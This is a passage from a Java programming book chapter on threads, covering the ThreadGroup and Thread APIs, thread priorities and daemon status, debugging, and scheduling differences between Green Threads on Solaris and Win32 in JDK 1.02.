file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (9 of 30) [8/16/02 8:36:30 AM]

Chapter 6 -- Effective Use of Threads

When you invoke enumerate() you pass it a pre-allocated Thread[] object. The enumerate() method will then fill in this array with the current Thread objects that the group contains. When the parameter recurse is set to true then enumerate() will obtain all the Thread objects in the thread-tree (using the group as the root), otherwise it obtains only the ones directly in the group. The actual number of elements placed in the array is returned by the method. If you invoke the first version of enumerate() it simply invokes the second with the recurse parameter set to true. For example, the following code fragments are equivalent, and both return all the Thread objects in the thread-tree where mygrp is the root. int actual_count = mygrp.enumerate( list ); int actual_count = mygrp.enumerate( list, true ); You can obtain the ThreadGroup objects in a thread-tree in a similar manner by invoking one of the following methods. public int enumerate( ThreadGroup[] list ); public int enumerate( ThreadGroup[] list, boolean recurse ); If, for example, you have the object representing the system thread-group-call it sys_grp-and you want to obtain a list of all threads running in the Java VM, you can achieve this with the following code: void ListThreads() { Thread[] thd_list = new Thread[ sys_grp.activeCount() ]; // get all threads in and below the given group int actual = sys_grp.enumerate( thd_list ); // print each thread object for( int x=0; x<actual; x++ ) { System.out.println( x+": "+thd_list[x] ); } } You will see code similar to this in the program AllThreads included on the CD-ROM. AllThreads creates a bunch of threads and thread-groups, then searches the tree for the system group and performs some code very much like that previously shown, thus listing every thread currently running in the Java VM. It should be noted that the numbers returned by activeCount() and activeGroupCount() are the counts at the point in time when the specific thread-group was queried. By the time you use those counts, they may not be accurate. For example, one thread in a program obtains the thread counts, but after the count is returned, another thread adds 10 more threads to an existing group. When an
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (10 of 30) [8/16/02 8:36:30 AM]

Chapter 6 -- Effective Use of Threads

enumeration method is called, it will include those 10 new threads in its listing. If the array you passed in was created using the value returned by activeCount(), it will not be large enough to hold all the current threads. The enumeration methods will not overflow the array. They will fill the array as much as possible and simply return; thus, you may not get an accurate list. You must remember Java is a dynamic multithreaded environment and these methods simply provide a snapshot of the system. After you obtain the list of thread and/or thread group objects, you cannot expect that list to remain valid for any length of time. To do so would require freezing the Java system to prevent threads from dying or being created. Note The enumerate methods and count methods will be de-emphasized in a future version of Java (probably v1.1). The methods threadCount(), allThreadsCount(), groupsCount(), and allGroupsCount() will return counts specific to the group or the group's thread-tree. The methods threads(), groups() will return arrays of thread or thread group objects containing the threads or groups specfic for the group. Similarly the allThreads() and allGroups() methods will return the objects for the group's entire thread tree. You will no longer have to get the counts, allocate the array's and then fill the arrays.

Security checkAccess() The ThreadGroup class contains a method, checkAccess(), which is called to perform security checks if needed. It essentially checks to see whether the current thread (the one calling the ThreadGroup method), has the rights to modify the ThreadGroup object being called. If the check fails, a SecurityException will be thrown. The method is quite simple; it will query the Java Runtime for the currently installed SecurityManager object. If one is present, it will call the checkAccess() method of the security object passing it the ThreadGroup object. If no security manager has been installed, the check simply returns (thus enabling full access). This allows the ThreadGroup object to use whatever security policy has been put in place, without the ThreadGroup class being modified. The checkAccess() method is a final method and thus cannot be overridden, even by subclasses. The following methods within the ThreadGroup class call checkAccess():
G

G G G

ThreadGroup()(the constructor, which actually calls the checkAccess() method of the parent of the newly created group) setDaemon() setMaxPrioirty() stop()

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (11 of 30) [8/16/02 8:36:30 AM]

Chapter 6 -- Effective Use of Threads


G G G

suspend() resume() destroy()

The Thread Class


The Thread class defines the application level interface to Java threads. This class is not the thread; it describes the attributes of a thread. In fact, the Thread object can still be accessed after the thread's main has completed. If an application is using classes that implement Runnable, it still needs to create an instance of Thread and assign the Runnable object to that thread: Runnable runner = GetRunner(); //magically returns a runnable Thread thd = new Thread( mygroup, runner, "mythread" ); // the thread is now created and will use the run() // method defined in the Runnable object. Although you can assign the same Runnable object to different threads, you normally will create a new instance for each new thread. If you do not, you must be careful because all the threads will be accessing the same instance data. Note If using a subclass of Thread, all the instance data fields will be thread-specific data (sometimes referred to as thread local storage). If using Runnable and you assign the same Runnable object to many threads, this won't be true.

Using the Thread Class Lets now take a look at what the Thread class provides and how to use it. Following is the public interface of the Thread class (as of version 1.02). Although we won't look at every item we will cover the ones used most often. public class Thread implements Runnable { // thread class constants public static final int MIN_PRIORITY = 1; public static final int NORM_PRIORITY = 5; public static final int MAX_PRIORITY = 10; // static methods
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (12 of 30) [8/16/02 8:36:30 AM]

Chapter 6 -- Effective Use of Threads

public native static Thread currentThread(); public native static void yield(); public native static void sleep(long); public static void sleep(long, int); public static int activeCount(); public static int enumerate(Thread []); // constructors public Thread(); public Thread(Runnable); public Thread(ThreadGroup, Runnable); public Thread(String); public Thread(ThreadGroup, String); public Thread(Runnable, String); public Thread(ThreadGroup, Runnable, String); // thread control methods public void run(); public native synchronized void start(); public final void join(); public final synchronized void join(long); public final synchronized void join(long, int); public final void suspend(); public final void resume(); public final void stop(); public final synchronized void stop(Throwable); public void interrupt(); public static boolean interrupted(); public boolean isInterrupted(); public void destroy(); // thread attributes public final native boolean isAlive(); public final void setPriority(int); public final int getPriority(); public final void setName(String); public final String getName(); public final ThreadGroup getThreadGroup(); public final void setDaemon(boolean); public final boolean isDaemon(); // security related methods public void checkAccess(); // debugging help public native int countStackFrames(); public static void dumpStack(); public String toString();
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (13 of 30) [8/16/02 8:36:30 AM]

Chapter 6 -- Effective Use of Threads

} Creating Threads The Thread class has seven constructors to choose from (you can see their signatures earlier in this chapter). The only input you can provide the constructor (in varying combinations) is a ThreadGroup object of the thread-group in which you want the new thread to be created. A String value contains the textual name of the newly created thread. Providing names for your thread is handy for debugging purposes. Finally, an instance of the Runnable interface can be provided. If you supply a runnable object, the thread will be created and the run() method of the newly created thread will immediately call the run() method provided by runnable object. This effectively activates that runnable object. Once your thread is created you must activate that thread. When a thread object is created, the actual thread does not begin execution, rather it is just prepared to do so. You must invoke the start() method on the thread object to cause the thread to begin executing. After the thread's start() method has been invoked the thread can be scheduled for execution. You do not know exactly when it will begin execution, nor should you care. Controlling Threads There are a number of methods for a thread to control itself as well as other threads. By calling the sleep() and yield() methods, a thread can effectivly give up the processor. The yield() method simply gives control to the thread scheduler. The scheduler will simply pull a thread off of the ready queue. If the thread which performed the yield is the highest priority thread then it may immediately get control back. You cannot expect yield to always cause another thread to get control. The sleep() method (there are two) will cause the thread to be taken off of the ready queue for a specified amount of time. The specified duration the thread will not be scheduled for execution-it is sleeping. The two sleep() methods allow you to indicate the time in milliseconds or milliseconds plus additional nanoseconds. Note The sleep() and yield() methods are static and thus operate on the callers thread.

Caution The current Sun JDK (v1.02) implementation of sleep( long, int ) will not really use nanosecond granularity. It will round to the nearest millisecond.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (14 of 30) [8/16/02 8:36:30 AM]

Chapter 6 -- Effective Use of Threads

There are many cases where threads will need to wait for another thread to finish executing before proceeding. The join() method is used to allow one thread to wait for the completion of another. There are three variations of this method. The one without parameters will cause the caller to wait indefinitely for the target thread to exit. The other two versions enable the caller to specify a time-out value. It either takes one parameter that is time-specified in milliseconds or two parameters where both are in milliseconds plus an additional value in nanoseconds. Caution In the current implementation of Java from Sun, timeouts specified with nanoseconds are rounded to the nearest millisecond. Thus, join( 10 ) and join( 10, 1 ) result in the same timeout period.

Threads can affect the execution of other threads in a number of ways. When the suspend() method is invoked the target thread is removed from the ready queue and will no longer receive any CPU time-it will not be scheduled. The resume() methods places it back on the ready queue. When you resume a thread, there is no guarantee that thread will begin executing immediately, because it is just now eligible for scheduling. There are applications that will find these methods valuable but most applications will not. Java provides much better mechanisms for thread synchronization-discussed in much detail in the next chapter. Java also provides a method for one thread to gently interrupt another with the interrupt() method. I say gently, because the interrupt will not affect the current execution of the interrupted thread. The thread must query the system to see if it has been interrupted via the isInterrupted() method (you also can use IsInterrupted() to queiry another thread's interrupt status). The thread being interrupted might be in the middle of an important transaction which needs to complete, thus a thread must choose when to check if it has been interrupted. The benefit of this mechanism is that the interrupt will cause a thread to awaken from sleep(), wait(), and join(). This awakeing occurs by the InterruptedException being thrown by the above routines. Caution The current implementation of Java (v1.02) does not implement the interrupt methods. If they are called, they will throw an instance of NoSuchMethodError. The interfaces are scheduled to appear in Java v1.1.

How Threads End

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (15 of 30) [8/16/02 8:36:30 AM]

Chapter 6 -- Effective Use of Threads

Normally a thread will end by the thread itself simply exiting from its run() method. However a thread may cause another to exit by invoking stop() on the thread. You can pass stop() a Throwable object which the Java VM will then cause to be thrown at the target thread-that is the target thread will behave as if it encountered a throw statement with the given object. Unless that throwable is being handled by the thread, the thread's run() method will exit and the uncaughtException() method of the thread's group will be invoked. Calling stop() with no parameters causes a ThreadDeath object to be thrown at the target thread. Thus the following lines are equivalent. Mythd.stop(); mythd.stop( new ThreadDeath() ); There is a destroy() method defined, but it is currently not implemented. This method, when (or if) implemented, will simply destroy the thread without cleaning up the thread's resources. Thus synchronization objects will not be updated. An applicaiton should never have a reason to use such a method because it would be dangerous. Thread Attributes Each thread contains a number of attributes. Some must be set when the thread object is created and can never be altered, while others can be changed throughout the thread's life. The attributes are: name, priority, thread group, and daemon status. The thread group must be specified while creating the thread and cannot change. The name can be queried and set using the getName() and setName() methods. The priority defaults to the priority of the creating thread. The current priority can be obtained from the getPriority() method. Before starting a thread and during its execution the threads priority can be altered by calling the setPriority() method with the desired priority. The priority can not be set higher than the maximum priority of the thread's group. If an attempt is made to set the priority higher it will silently be ignored and the priority will be changed to be equivalent to the current maximum priority of the threads group. Recall from the ThreadGroup description that the term "daemon" is most commonly used in the UNIX community. For a Java thread, it essentially is used to indicate the type of thread. The most important attribute to remember is the Java VM will not exit if non-daemon threads are still present. If the main thread of an application ends and the only remaining threads are daemon threads, the Java VM will exit, essentially killing the daemon threads without warning. A daemon thread should be used for some background task that most likely is providing a service to the application. For example, a communications server may have a background thread that simply listens on a port for new connections. With a new connection, a new Java thread is spawned to serve that connection. The listen thread can be marked a daemon thread. The more important session thread, one using the connections, will probably not be a daemon thread. Marking a thread as a daemon is a judgment call on the part of the developer; however, it is a handy feature.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (16 of 30) [8/16/02 8:36:30 AM]

Chapter 6 -- Effective Use of Threads

Tip If the developer does not provide a specific mechanism where the thread can exit, it is probably a candidate for being a daemon thread.

Security The Thread class supports the presense of a security policy by providing the checkAccess() method and using that method internally to prevent unauthorized modifications of a thread object. This method simply attempts to get the currently installed SecurityManager object, which implements the security policy. If one is found then it is invoked to verify that the calling thread has the proper rights to modify the thread object. If the calling thread does not have the correct rights an instance of SecurityException is thrown. The following are methods within the Thread class that invoke this method:
G G G G G G

stop() suspend() resume() setPriority() setName() setDaemon()

Using Threads
There are several example programs on the CD-ROM that go with this chapter. The best way to understand them is to run the programs. Most are simple stand-alone programs that can be run from the command line. However, there are some that make use of the AWT and browsers. In general, all the programs show various parts of the Thread and ThreadGroup classes. None show all the features. The best way to learn them is to experiment. Included on the CD-ROM directory associated with this chapter is an HTML file named index.html, which you can view in a browser (such as Netscape Navigator) and which has a description of the included demos plus links to their source code. You can view the source directly in the browser. You have to go to the command prompt to run the stand-alone applications. Applets can, of course, be directly run in the browser. Now let's take a look at some basic thread examples.

Priority.java
This is, perhaps, one of the simplest threaded programs you are likely to encounter. Its real purpose was to see how Java Thread priorities match with the underlying native threads (if running on such a
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (17 of 30) [8/16/02 8:36:30 AM]

Chapter 6 -- Effective Use of Threads

platform). The program simply creates a Thread for each Java priority level and assigns that thread its respective priority level. The threads are very simple; they wait on an object until notified, then exit. This enables the whole set of threads to be active and alive while their priorities can be viewed. After being created and started, the program then uses the ThreadsList class to provide a textual listing of the threads. It then sits forever, waiting for the user to type a key, after which it notifies all the threads to end. Take a moment to check the source now. It's a short program, right? As you can see, the single class Priority implements the Runnable interface and includes the required run() method: public void run() { try { synchronized( this ) { this.wait(); } } catch( Exception ee ) { ee.printStackTrace(); } } To call the wait() method of an object, you must be synchronized on that object. This means you must either be in a synchronized method or within a synchronized block, as in this example. When the wait() is performed, the monitor for the object will be released. When the wait() returns, the monitor will once again be locked. Thus, after signaling a thread to continue from a wait(), the thread may still need to wait until it can reaquire the monitor. This is important to remember. Chapter 7, "Concurrency and Synchronization," discusses the details of Java's synchronization facilites in much depth. The wait() method can throw an InterruptedException, so you must be prepared to handle such an exception. To get this run() method to execute in its thread, you must first create an instance of the class that implements Runnable, such as the following: Priority self = new Priority(); Then you create an instance of Thread, passing it the desired Runnable object. This example passes the same object to each thread. Thus, the primary portion of the application is the following:

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (18 of 30) [8/16/02 8:36:30 AM]

Chapter 6 -- Effective Use of Threads

for( int x=Thread.MIN_PRIORITY; x<=Thread.MAX_PRIORITY; x++ ) { Thread thd = new Thread( self ); thd.setPriority( x ); thd.setDaemon( true ); thd.start(); } Pretty straight-forward stuff. The Thread class is instantiated, passing it the already created Runnable object, thus instructing the thread to use the run() method in the associated Runnable object. In this example, you need to keep a temporary copy of the thread object in the local variable so you can perform a few additional operations: otherwise, you could have simply performed the following statement and drop the return value. new Thread( self ).start(); Instead, the example uses the thread object to set the priority and to mark the thread as a daemon thread. Finally, the thread is started and loops around to do the next thread. Because the threads will all immediately block on the runnable object, and because they all are using the same runnable object, you can release them all with a single call to notifyAll() on the runnable object. This test is very simple, but shows the basics for starting threads as well as some simple use of the Runnable interface and the synchronization facilites inherit in every Java object. Later, when examining thread priorities, if you are using a Win32 machine and have the pview95 (pview on NT) program, you can see that Java threads produce Win32 threads-notice the priority levels Win32 uses.

PPrimes.java
This is also a simple program. It uses threads to find prime numbers. It is not a very good prime number generator, but it does show how to use Java threads. Further, if you run it on Solaris and Win32, you will notice slightly different behavior due to the differences in the threading model between the two systems (see the following sections on Performance and Java threads internals). Finally, you also can see that using multiple threads does not mean it will run faster. If you run this on a multiprocessor Windows NT box, you might actually see a performance increase. (I did not have access to one while writing this book, so I can only dream.) This program takes input such as the following: java Pprimes 200 5.
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (19 of 30) [8/16/02 8:36:30 AM]

Chapter 6 -- Effective Use of Threads

This will cause it to find all primes from 1 to 200 and will use 5 threads. It simply divides the range into 5 parts, the first being 0..39, then 40..79, and so forth. Then each thread simply finds all primes within its range. It uses a modified brute-force method to find the primes and writes them to the screen as it finds them (thus they don't come out in order). It also provides the time in milliseconds to complete the task. You can vary the number of primes to find, but for simplicity the number is rounded up to a multiple of the number of threads used. You also can specify how many threads there are, including one. You can view the source from the CD-ROM. Notice that the program makes use of the join() method to enable the main thread to wait for all the prime finders to finish before it exits. This program is also an example of subclassing Thread, as opposed to using Runnable.

ThreadsList.java
Although this sample can be run by itself, it is not too exciting that way. It is mostly a little utility class, which will provide a listing of all the threads currently in the Java VM. Some of the other sample programs use this class. This is a simple class that demonstrates how you can obtain access to threads via the ThreadGroup. It simply starts from the caller's thread and finds its thread-group, then walks up the thread tree until the root (the system thread-group) is found. It then walks down the tree visiting every group and listing all the threads within that group.

Debugging a Threaded Program


The best method for debugging threaded programs is to avoid having to debug. When using threads, it pays to plan carefully what your threads will do and how they will do it. Pay extra attention to the places where threads interact with each other. Undoubtedly, your threads will have to share data with one another or perhaps take turns accessing some resource. You should be sure these points of contact between threads are done in a thread-safe manner. It is often helpful to treat your threads as if they can all be running at the same time (in a multiprocessor machine with a Java VM that will support it, such as Java on NT, this can be a reality). Don't build any assumptions into your application of which thread will run first, or reach a certain point, or so forth. You often will not be able to predict this, and even if you can today on your current Java VM, it may not be true on a different Java VM. Of course, even the best of you will have problems in your programs. Unfortunately, if your problems are related to threads misbehaving or not playing well together, it can be hard to fix. The biggest reason is the unpredictable nature of thread-related errors. Synchronization issues may not show at the point of the failure, but rather in some other location and at some other point in time. At this point, the help of a thread-aware debugger is indispensable. The current JDK from Sun builds in remote debugging capabilities (see Chapter 26, "The Java Debugger API") and also includes a proof-of-concept commandline debugger called jdb, which is simply a front-end to the Java VM's debugging capabilities. At the time of this writing, other companies (Sun, Symantec, Borland, and SGI) were coming out with GUI-

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (20 of 30) [8/16/02 8:36:30 AM]

Chapter 6 -- Effective Use of Threads

based debuggers, which should make life easier. No matter which debugger you use, the basics remain the same. Use the debugger to provide you with information about all the current threads that are running. This is where providing meaningful names for your threads (see setName()) comes in handy. The debugger should show you the thread's name and other information, such as where in the source code it is currently executing and the thread's state (running, sleeping, in a monitor, waiting on a condition, suspended, at a breakpoint, or perhaps a zombie). This information is indispensible; it enables you to notice unusual conditions quickly. For example, you may have two threads that should never be runnable at the same time for various reasons. The debugger can show this kind of problem quickly. The other big use of the debugger when debugging a multithreaded application is the debugger's capability of suspending all (or certain) threads. When you are debugging one thread-perhaps while it is at a breakpoint and you are examining data-it is often helpful to suspend the other threads to prevent them from continuing and affecting the application's state. If you are the type that hates debuggers, or uses them only as a last resort, there are other techniques. You can sprinkle trace code throughout your application, perhaps activated by a command-line switch or some other mechanism (such as a special key sequence, an extra menu in your GUI application, or a special data packet across the socket connection). If you use tracing code, it is often helpful to include the thread ID in the trace message. See the following example: System.err.println( "["+Thread.currentThread()+"]Just got here" ); This causes the current thread's toString() method to be called. The default toString() identifies the thread. When you view the tracing output, you can follow the order in which separate threads access various parts of your application. By providing meaningful names for your threads you can often quickly spot errors. Using thread groups (and giving the groups meaninful names) also often helps. The thread group's list() method can be used to dump a thread/thread group listing to the screen from wherever you need. There is no easy guide for debugging programs in general, and especially for debugging multithreaded applications. It often requires detailed knowledge about the application and how it is structured. The best form of debugging is to avoid having to do it!

Performance
Performance, as it relates to multithreaded applications, is a difficult subject-especially in a platformneutral language and environment such as Java. The problem is that performance is tied to many factors: the specific machine you are using (CPU, memory, and so forth), the OS that is running, the specific Java implementation being used, and the application you are writing.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (21 of 30) [8/16/02 8:36:30 AM]

Chapter 6 -- Effective Use of Threads

If you are running a Java implementation which can take advantage of a multiprocessor machine and you have such a machine, your multithreaded application will have an advantage over a similar singlethreaded application. This assumes that the threads within your application can execute in parallel. If you don't have an multiprocessor box, or a Java VM that will use a multiprocessor box, you still have a good reason to use threads. Java is platform-neutral, and therefore your Java application may run on computers to which you don't have access. If that application is multithreaded it will be multiprocessor-ready. Obviously, the presence of multiple processors will have a positive effect on your multithreaded application, but other factors must be considered. The performance of the same application could vary when run on various Java VMs, even on the same type of machine. This would fall on the Java VM implementer's shoulders. Some factors that may affect your application include the context switch time, which is the time it takes for the Java VM's thread manager to switch threads. Other areas include the various synchronization objects. The time it takes to obtain and release locks may vary over implementations.

Thread Scheduling
The Java language and runtime define the presence of threads as well as a standard interface to their usage. Java also provides the mechanisms for controlling and synchronizing threads. However, because Java is platform-neutral (both hardware and operating system), it refrains from defining, or requiring, certain low-level policy information of threads. Java does not define the scheduling algorithm used to implement threads. The scheduling algorithm dictates which thread should be executed when and for how long. It also dictates how that thread relinquishes control to other threads. There is often much debate over the wisdom of this choice; however, it offers the most freedom to the implementers of Java, which may make it much easier for Java to be implemented everywhere. There are some basic terms that you should be aware of to help you understand the nature of thread scheduling. When a thread can be suddenly interrupted so that another thread can begin work, it is said that thread has been preempted. The process of the system switching between two threads is called a context switch. On some systems, a thread scheduling policy will include time slicing. This means that when each thread is executing, it will only execute until it blocks to do some service, such as IO or waiting on a synchronization object, or until its time slice runs out. At this point, the system will preempt the thread in order to give another thread a chance to run. Other common terms describe the state of a thread. A thread can be runnable, which means it is ready to execute and is just waiting for the system to schedule it. A thread can be blocked, which means the thread is waiting for the completion of some service, after which it will again be runnable. Finally a thread can be running, which means it is the current thread being executed. There can be only one running thread per CPU in the system. You may also see terms such as stopped, zombie, or sleeping. For simplicity it suffices to think of threads being in one of the three states: blocked, runnable, or running (see Figure 6.3). Figure 6.3 : Thread states.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (22 of 30) [8/16/02 8:36:30 AM]

Chapter 6 -- Effective Use of Threads

By not explicitly dictating scheduling policy, the implementation of Java has a certain amount of flexibility. The levels of priority that Java defines (currently 10 values in the range MIN_PRIORITY to MAX_PRIORITY) should be thought of only as a hint to the system. The scheduling algorithm deployed by the implementation may or may not take advantage of them. Currently, priorities are taken advantage of in the Sun Java implementation. The Java language does not dictate when or how a context switch takes place; nor does it require that threads be pre-empted. This freedom for implementers is a doubleedged sword. On one side, it may increase the number of platforms on which Java will be available. On the other, it can make life difficult for the unsuspecting developer. It is very easy to develop a program that is expecting certain behavior of the threads. When run on a different platform, one that the developer may not have access to, a radically different behavior is seen. As a real-world example, the current implementation of Java by Sun uses different thread scheduling rules when running on Win32 or on Solaris/SPARC. Sun JDK/Solaris The Sun JDK implementation of Java on Solaris (SPARC) does not use the Solaris Thread Library; instead, for various reasons the Java group wrote its own thread package called Green Threads. Green Threads was implemented back when Java was called "Oak" and the project was called the "green project," and probably before Solaris became stable. Green Threads does not use Solaris LWPs (LightWeight Process) and will not take advantage of a multiprocessor system. If you run Java on your 8processor SparcCenter 1000, your multithreaded application will not use all the processors. Sun is reportedly converting their JDK to use Solaris Threads, which will help Java applications perform better on the Solaris platform. Until then, you must live with Green Threads. Green Threads operates totally at the user level. The Solaris operating system will have no idea that multiple threads are running; it will look like a singlethreaded process as far as Solaris is concerned (see Figure 6.4). The following are the main features of the threads in Green Threads: Figure 6.4 : Green Threads on Solaris.
G G G G G

They are very lightweight They have priority-based preemption They are non-timesliced They have priority inversion They have non-blocking system calls

Because Green Threads does not have to make a system call to perform context switches, it can do so very rapidly. A Green Threads thread will run forever as long as it does not perform a blocking call (such as IO) and another higher-priority thread does not become runnable. Higher-priority threads preempt lower-priority threads. Green Threads will use priority inversion to boost a thread's priority temporality.
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (23 of 30) [8/16/02 8:36:30 AM]

Chapter 6 -- Effective Use of Threads

This means that if it owns a monitor on which a higher-priority thread is blocked, this prevents a higherpriority thread from being starved by low-priority threads. The Green Threads package provides support to turn potentially blocking system calls into asynchronous calls to prevent one thread from blocking the entire process. Finally, the Green Threads package is designed to have a system-independent layer and a system-dependent layer, thus helping the porting effort to platforms that do not offer threads or dedicated hardware. In those cases, the Green Threads package can be used to provide the necessary thread support for Java. The day will come when Java uses the Solaris Threads on the Solaris platform. Solaris Threads are the native threads under the Sun Solaris operating system. The main properties of its threads are the following:
G G G G

They are lightweight They use underlying LWPs (and thus are MP-capable) They have priority-based preemption They are non-timesliced

Solaris Threads carry out most of the thread management responsibilities in user space, as opposed to system space. This makes thread context switching very light, because it does not require a kernel call. The Solaris Threads will use the underlying LWPs, which are controlled by the kernel (see Figure 6.5). LWP's are essentially equivalent to Win32 threads, that is, they are a kernel resource and are scheduled and preempted by the kernel. LWP's are scheduled to run on any of the available processors in an multiprocessor computer. Therefore Solaris Threads will take advantage of a multiprocessor system. Figure 6.5 : Solaris Threads. Sun JDK/Win32 The Sun JDK implementation of Java on the Win32 operating systems (Windows 95 and Windows NT) takes a different approach from the Solaris version. It uses the native Win32 threads of the underlying operation system (see Figure 6.6). Thus, whenever you create a Java thread, it translates directly to a Win32 thread. Win32 is relied on for the thread scheduling policy, as well as for all thread synchronization policies. Therefore, Win32 Java threads utilize the time-sliced and priority-based preemptive capabilities of Win32. The Win32 events, mutexes, and critical sections are used to perform the various kinds of synchronization. This has the benefit that Java behaves like other Win32 programs and the implementation appears to have been easier. However, threads under Win32 behave differently than Green Threads in Solaris; therefore, the developer has to be careful not to assume Win32 type threads. Figure 6.6 : Windows 95 threads. The Win32 scheduler schedules threads based on their dynamic priority. How it computes the dynamic
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (24 of 30) [8/16/02 8:36:30 AM]

Chapter 6 -- Effective Use of Threads

priority of a thread is slightly complicated and the relevant Win32 documentation should be consulted. I will describe the basic policy here. Each Win32 process can be in one of four priority classes: HIGH_PRIORITY, NORMAL_PRIORITY_CLASS, IDLE_PRIORITY_CLASS, and REALTIME_PRIORITY_CLASS. Each thread within the process can be in several thread priority levels. The priority class of the process and the thread priority level determines base priority for each thread. During execution, that base priority can be adjusted to come up with the threads dynamic priority. The scheduler will maintain a queue for each priority level. Threads within a level will run in roundrobin fashion, and the scheduler will not run any threads in a lower level until the higher level has no runnable threads (see Figure 6.7). Therefore, two compute-bound threads (those that do no, or little, IO) within the same level will not result in one being starved; however, those in a lower level can be starved. The advantage of Win32 is on a multiprocessor NT machine; here, Java threads truly can run in parallel. Java will execute within the NORMAL_PRIORITY (the Win32 default). Each thread will also begin in the normal priority level (again the Win32 default), however as the Java thread priority is adjusted so is the Win32 thread priority level (this is dicussed further below). Figure 6.7 : Windows 95 scheduling.

Yielding Control
The differing scheduling policies used by the Sun JDK Java implementation on Solaris and Win32 is cause for some concern for developers. Typically, if your threaded application works well on Solaris, it will work well on Win32. The opposite is not true. A Thread in Win32 will be preempted when its timeslice is up; in Green Threads, a thread will be preempted only if a higher-priority thread becomes available. Therefore, on Solaris, a thread can easily starve other threads from getting a chance to run, whereas the same program will run well in Win32. This situation can be avoided. If your threads perform IO, or other system calls, or they often use synchronization techniques (such as wait() and notify() or use of synchronized methods or blocks) they will provide many chances for other threads to obtain processor time. However, in some situations, you may have threads doing nonblocking processing (such as large math calculations). In these situations, you must be more careful. The use of the yield() method can help. This method causes the calling thread to relinquish control of the processor. The thread manager will simply check for other runnable threads of equal priority and, if one it is executed, the current thread will be placed back on the ready queue. If no runnable thread of equal priority is found, the current thread continues. Therefore, you can't yield to lower-priority threads. The use of yield() is often unavoidable in the Solaris Green Threads environment and is a small cost in Win32. In Win32, it translates into a Sleep(0) Win32 API call. If you know your mix of threads in a program will be a few compute-bound threads and more IO-bound threads, you may be able to place your compute-bound threads at a lower priority. They will obtain processor time during the times the IO-bound threads are blocked in IO calls. Once the IO-bound threads become runnable (the IO completes), they will preempt the compute-bound threads.
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (25 of 30) [8/16/02 8:36:30 AM]

Chapter 6 -- Effective Use of Threads

Tip Be sure any compute-bound threads that do not utilize sleep() or yield() do not have a higher priority than your interactive threads; otherwise, you risk starving your interactive threads until the compute-bound threads are complete.

For most applications, you probably should avoid explicitly setting priorities. As a simple rule, if your thread does not do any blocking-type operations, move its priority down a bit; if you need a user interface thread to respond quickly you may bump its priority up a bit. In general, try to avoid setting priorities. If you can, place a yield() call in your code; this may help the threads on a non-preemptive system behave better-yield will almost never hurt you on any platform. You should not attempt to use the setting of priorities or the presence of sleep() calls as a mechanism for relying on threads to run. This gets complicated and often results in dependencies on the systems on which you are implementing. Your guiding principal should be keep it simple. Caution Your application should never rely on yield() to perform correctly. The yield() method should only be present to help thread behavior and perhaps performance.

Limitations
Threads have many good features, and developers should take advantage of them. However, don't get carried away! A thread is a resource that should be used carefully. Not only can the use of threads increase the resource requirement of your application, they can also decrease its performance. Another factor to consider is the type of application you are developing. An application that can be split among very independent threads is much easier to create than one where the threads require much interaction between them. The more threads there are that need to cooperate with one another, the more chances there are for subtle errors and performance problems. It may very well turn out that a multithreaded application will be spending much of its time synchronizing rather than doing work. In that case, it makes better sense to decrease the threads or do the entire application in a single thread. Other applications are naturally divided where each part can run in parallel. On today's SMP hardware, parallel execution is a distinct possibility. When thinking about the cost of threads, here are some considerations to keep in mind:
G

The memory requirements of a thread include the memory for its Thread object and perhaps a

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (26 of 30) [8/16/02 8:36:30 AM]

Chapter 6 -- Effective Use of Threads

G G G G

Runnable object On a low level, a thread has memory for its execution stack associated with it A thread may require kernel resources from the underlying operating system (such as Win32) The more threads, the more the system has to manage Your application can be paralleled only by the number of available processors (on conventional machines, this is still a relatively small number)

Inside Threads
In this section, you look at some of the details of Sun's current JDK implementation. If you are not interested in the nitty-gritty details of how threads are implemented, you can skip this section. However, understanding how things work often leads to a better understanding of how to use them. Sun provides the source code to the JDK implementation for noncommercial use at no cost, although you need to complete a licensing agreement. This is a painless task-visit its Web site for more information: http://www.javasoft.com Because the source to the JDK implementation is the property of Sun, it cannot be provided here, and this discussion will be mostly descriptive of what it does.

Layers
Threading in the Java VM is implemented in a set of layers with an abstract API at the top and a systemdependent interface at the bottom (see Figure 6.8). Most of the layers are very lightweight. This scheme helps make the Java VM both portable to multiple platforms and flexible in the choice of a thread package: the native OS, Green Threads, or some other package. Most thread implementations have enough similarities to make the abstraction layer easy and lightweight. For example, the Microsoft C _beginethreadex() call and Solaris thr_create() call are different names and slightly different parameters, but they are very close in behavior, and thus it is easy to come up with an abstract "create a thread" routine. Figure 6.8 : Java Thread Architecture.

Green Threads
It is clear that the Green Threads package was written to be portable across a variety of systems, not just flavors of UNIX (see Figure 6.9). The package is also more complete than Java uses. The Green Threads package provides the low-level data structures and functions to describe threads, thread contexts, thread control structures (runnable queues, and so forth), and thread synchronization objects, such as condition variables and mutexes.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (27 of 30) [8/16/02 8:36:30 AM]

